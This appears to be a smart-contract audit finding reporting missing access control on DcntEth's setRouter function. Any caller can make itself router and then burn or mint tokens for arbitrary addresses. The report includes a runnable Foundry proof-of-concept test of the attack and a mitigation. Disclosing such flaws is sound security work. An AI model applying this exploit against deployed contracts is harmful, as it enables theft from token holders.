Decent - mrudenko's results

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L21

Vulnerability details

Impact

The DcntEth contract contains a critical security flaw due to missing access control on the setRouter function. An attacker can exploit this by setting themselves as the router and then using the burn and mint functions to arbitrarily burn tokens from any address and mint tokens to any address. This vulnerability could lead to unauthorized token manipulation, significantly compromising the integrity of the token supply and potentially leading to financial losses for token holders.

Proof of Concept

The vulnerability sequence can be broken down as follows:

1. Fraudulent Router Setup: The attacker calls setRouter to set themselves as the router.

   contract DcntEth is OFTV2 {
       // ...

       function setRouter(address _router) public {
           router = _router;
       }

       // ...
   }

Due to the lack of access control, any user, including an attacker, can call this function.

Unauthorized Token Burning and Minting: Once the attacker has set themselves as the router, they can then call burn and mint to manipulate token balances. The attacker can burn tokens from any address. The attacker can mint tokens to any address, including their own.

Foundry POC

contract TestDcntEth is DSTest {
    DcntEth dcntEth;
    address attacker = address(0x1234);
    address victim = address(0x5678);

    function setUp() public {
        dcntEth = new DcntEth(/* LayerZeroEndpoint address */);
        dcntEth.setRouter(attacker); // Attacker sets themselves as the router
    }

    function testUnauthorizedTokenManipulation() public {
        // Attacker burns tokens from the victim's address
        vm.prank(attacker);
        dcntEth.burn(victim, 1000);

        // Attacker mints tokens to their own address
        vm.prank(attacker);
        dcntEth.mint(attacker, 1000);

        // Assertions to validate the attack
        assertEq(dcntEth.balanceOf(victim), 0); // Victim's balance should be reduced
        assertEq(dcntEth.balanceOf(attacker), 1000); // Attacker's balance should increase
    }
}

Tools used

manual, foundry

Mitigations

To mitigate this issue, the setRouter function should include an access control mechanism, such as the onlyOwner modifier

Assessed type

Access Control